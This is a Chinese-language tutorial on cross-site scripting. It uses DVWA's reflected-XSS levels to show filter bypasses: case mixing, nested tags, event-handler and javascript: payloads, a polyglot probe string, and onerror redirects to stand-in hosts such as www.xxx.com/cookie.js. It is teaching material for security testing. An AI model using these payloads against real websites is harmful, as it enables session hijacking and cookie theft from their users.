0x01 什么是XSS?
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击主要针对的是客户端的攻击。
0x02 XSS的危害
XSS能实现的的攻击有很多,一般攻击水平是取决于攻击者的js水平。
-
针对用户:窃取cookie劫持会话、网络钓鱼、放马挖矿、广告刷流量等。
-
针对WEB服务:劫持后台、篡改页面、传播蠕虫、内网扫描等。
0x03 XSS类型
-
反射型
又被称为非持久型XSS,将JS恶意代码暂时保存到网页前端,一旦重新请求页面,恶意代码会被消除,一般用于XSS注入点的盲测或者钓鱼。
-
存储型
存储型XSS,又称持久型XSS,它和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库或文件中。允许用户存储数据的WEB应用程序都可能出现存储型漏洞,当攻击者提交一段XSS代码后,被服务器接受被储存,当访问者再次访问此网站,这段代码又被提取出来,响应给浏览器。形成储存型XSS漏洞攻击。
-
DOM型
全称Document Object Model,在网站页面中有许多页面的元素,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。简单来说DOM是通过url传入参数来触发XSS的,也可以认为是反射型的一种。
0x04 多姿势绕过
1.基本的xss
以DVWA(Reflected)的low等级举例(完全没有过滤的情况下)。
<script>alert(`Rdrug`);</script>
2.大小写绕过、字符拼接
以DVWA(Reflected)的middle等级举例。
源码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
用str_replace函数直接将<script>
进行过滤,这里就可以考虑用字符拼接和大小写绕过。
字符拼接:
<scr<script>ipt>alert(`Rdrug`)</script>
大小写绕过:
<ScrIpt>alert(`Rdrug`);</script>
3.解锁更多姿势
接下来以DVWA(Reflected)的high等级,来举例多种绕过过滤的方式。
先看一下high安全等级的源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
他用了 preg_replace函数,用正则表达式几乎完美地将<script>
标签过滤掉了。
##既然谈到正则表达式,就顺便简单讲一下它里面这个表达式的含义吧。
/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i
/ 表示正则表达式的分解符
< 表示左尖括号
. 表示匹配除了换行符/n之外的任意字符
* 表示贪婪匹配,.*就是匹配任意字符的任意个数
i 在/之外,是修饰符表示不区分大小写
//更多关于正则表达式的知识可以参考:https://www.runoob.com/regexp/regexp-syntax.html
只要不用到<script>
标签,其实还有特别多标签也可以实现XSS。
以下语句是多种绕过姿势:
<img src=1 onerror=alert(\`Rdrug\`);>
<input onfocus="alert('Rdrug');">
##当 input 输入框获取焦点时执行一段 Javascript代码
<input onblur=alert("Rdrug") autofocus><input autofocus>
##当用户离开input输入框时执行一段Javascript代码
<input onfocus="alert('Rdrug');" autofocus>
##通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发。(容易造成死循环)
<iframe onload=alert("Rdrug");></iframe>
一个内联框架被用来在当前 HTML文档中嵌入另一个文档,onload 事件在frame或者iframe载入完成后被触发。
<video><source onerror="alert("Rdrug")">
<body/onload=alert("Rdrug");>
<body onscroll=alert("Rdrug");><input autofocus>
##onscroll 事件在元素滚动条在滚动时触发。
<textarea onfocus=alert("Rdrug"); autofocus>
##文本域标签,autofocus元素自动触发。
<link rel=import href="http://127.0.0.1/1.js">
##利用link远程包含js文件
利用javascript伪协议(常用于钓鱼):
<a href="javascript:alert("Rdrug");">不要点我</a>
<iframe src=javascript:alert("Rdrug");></iframe>
<img src= 'http://127.0.0.1/2.jpg' ondblclick="alert("Rdrug")" />
<form action="Javascript:alert(`Rdrug`)"><input type=submit>
4.转义字符的排查
在测试xss的位置写入以下字符,查看页面源码,观察哪些代码被过滤或者转义。
jaVasCript: /*-/*/*\/*'/*"/**/ ( /* */ oNcliCk=alert() ) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
0x05 其他情况
- 过滤空格:
用/代替空格
- 过滤关键字:
双写关键字、大小写、字符拼接、其它字符混淆、编码绕过
- 过滤双引号,单引号:
如果是html标签中,可以不用引号。如果是在js中,可以用反引号代替单双引号。或者用编码绕过
- 过滤URL地址:
- html标签中用//代替http://
`<img src="x" onerror=document.location=`//www.xxx.com/cookie.js`>`
- 使用中文逗号代替英文逗号
<img src="x" onerror="document.location=`http://www。xxx。com`">
- 十进制IP
<img src="x" onerror=document.location=`http://2130706433/`>
0x06 总结
老师说,在实际渗透中建议不用alert(),用console_log(),查看控制台是否有回显,应尽量减小对所受测试网站的影响。